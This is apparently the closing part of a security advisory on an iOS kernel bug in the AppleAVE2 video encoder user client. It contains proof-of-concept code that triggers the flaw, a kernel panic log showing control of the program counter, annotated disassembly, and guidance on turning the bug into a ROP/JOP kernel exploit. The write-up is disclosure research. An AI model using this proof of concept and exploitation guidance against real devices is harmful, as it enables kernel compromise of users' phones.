        *(uint32_t *)(setSessionSettings_inputStruct + 0x04) = surface_id; // FrameQueueSurfaceId
        *(uint32_t *)(setSessionSettings_inputStruct + 0x08) = surface_id; // InitInfoSurfaceId, vulnerable IOSurface mapping
        *(uint32_t *)(setSessionSettings_inputStruct + 0x0c) = surface_id; // ParameterSetsBuffer
        *(uint32_t *)(setSessionSettings_inputStruct + 0xd0) = surface_id; // codedHeaderCSID & codedHeaderBuffer [0]
        *(uint32_t *)(setSessionSettings_inputStruct + 0xd4) = surface_id; // codedHeaderCSID & codedHeaderBuffer [1]
        // AppleAVE2UserClient::_SetSessionSettings
        ret = IOConnectCallStructMethod(ioconn,
                                        7,
                                        setSessionSettings_inputStruct,
                                        sizeof(setSessionSettings_inputStruct),
                                        setSessionSettings_outputStruct,
                                        &setSessionSettings_outputStruct_size);
        NSLog(@"SetSessionSettings: %x %s", ret, mach_error_string(ret));
    }
    {
        // Trigger the bug
        char close_inputStruct[0x4] = { 0 };
        char close_outputStruct[0x4] = { 0 };
        size_t close_outputStruct_size = sizeof(close_outputStruct);
        // AppleAVE2UserClient::_my_close
        ret = IOConnectCallStructMethod(ioconn,
                                        1,
                                        close_inputStruct,
                                        sizeof(close_inputStruct),
                                        close_outputStruct,
                                        &close_outputStruct_size);
        NSLog(@"my_close: %x %s", ret, mach_error_string(ret));
    }
}

Panic log:

panic(cpu 5 caller 0xfffffff007205df4): Kernel data abort. (saved state: 0xffffffe03cafaf40)
	  x0: 0x4141414142424242  x1:  0xffffffe02cb09c28  x2:  0x0000000000000000  x3:  0xffffffe02cb09c28
	  x4: 0x0000000000000000  x5:  0x0000000000000000  x6:  0xfffffff00f35bb54  x7:  0x0000000000000000
	  x8: 0x0000000000000006  x9:  0x0000000000000006  x10: 0x0000000000000001  x11: 0x0000000000080022
	  x12: 0x0000000000000022 x13: 0xffffffe00094bc08  x14: 0x0000000000080023  x15: 0x0000000000006903
	  x16: 0xfffffff00ee71740 x17: 0x0000000000000000  x18: 0xfffffff00ee79000  x19: 0x4141414142424242
	  x20: 0xffffffe02cb08000 x21: 0x0000000000000000  x22: 0xffffffe02cb09c28  x23: 0x0000000000000005
	  x24: 0xffffffe02cb2f748 x25: 0xffffffe02cb0d034  x26: 0x0000000000000050  x27: 0xffffffe004929218
	  x28: 0x0000000000000000 fp:  0xffffffe03cafb2a0  lr:  0xfffffff0069397e8  sp:  0xffffffe03cafb290
	  pc:  0xfffffff0069398dc cpsr: 0x80400304         esr: 0x96000004          far: 0x414141414242429a

And you can see pc aligns is on the x0->0x58 instruction just before the branch:

0xFFFFFFF0069398CC IOSurfaceBufferMngr::CompleteFence
0xFFFFFFF0069398CC
0xFFFFFFF0069398CC                 STP             X20, X19, [SP,#-0x10+var_10]!
0xFFFFFFF0069398D0                 STP             X29, X30, [SP,#0x10+var_s0]
0xFFFFFFF0069398D4                 ADD             X29, SP, #0x10
0xFFFFFFF0069398D8                 MOV             X19, X0
0xFFFFFFF0069398DC                 LDR             X0, [X0,#0x58]                 // Faults here
0xFFFFFFF0069398E0                 CBZ             X0, loc_FFFFFFF006939908
0xFFFFFFF0069398E4                 LDRB            W8, [X19,#0x1E]
0xFFFFFFF0069398E8                 CBNZ            W8, loc_FFFFFFF006939908
0xFFFFFFF0069398EC                 MOV             W1, #0
0xFFFFFFF0069398F0                 BL              IOFence__complete
0xFFFFFFF0069398F4                 LDR             X0, [X19,#0x58]
0xFFFFFFF0069398F8                 LDR             X8, [X0]
0xFFFFFFF0069398FC                 LDR             X8, [X8,#0x28]
0xFFFFFFF006939900                 BLR             X8
[...]
Exploitation

Exploitation of this bug is fairly simple, once the sandbox-escape primitives are set up.
The code in the PoC will also work for exploitation, however the value provided in the SetSessionSettings buffer (0x4141414142424242) will need to be pointed towards a controlled kernel buffer, of which our function pointer can be loaded from. An additional heap infoleak bug could be used for the highest guarantee of reliability. In this case, with a kASLR defeat, you can also speculate the location of the heap on a per-device basis: under high heap memory pressure it is likely that large allocations will end up within the same memory range (0xffffffe1XXXXXXXX).
Since this bug grants us PC control, it lends itself to exploitation via ROP or JOP. While this wouldn’t necessarily work for A12 or newer devices featuring PAC, the non-A12/A13 support is a limitation we already have with our sandbox escape, so this is no big problem. Also note that when building a ROP/JOP chain, the address of our controlled kernel buffer is within x19, and another controlled pointer in x0. This can be used as a stack pivot buffer or memory scratch space.
You can find the poc files on our GitHub repository.

Closing Words

Even with stringent sandboxing protections locking down large amounts of the kernel attack surface, many userland components still contain a large amount of attack surface themselves with many daemons implementing 50+ RPC’s. Chaining a sandbox escape can grant access to areas of the kernel which are highly under-audited, as much of the focus is put into the small slice of the kernel which is directly accessible.
If you have any further questions feel free to DM @iBSparkes on Twitter, or (G)mail me at bensparkes8.

Thank you

We would like to thank iBSparkes for writing this advisory and diving into the technical details with 08Tc3wBB.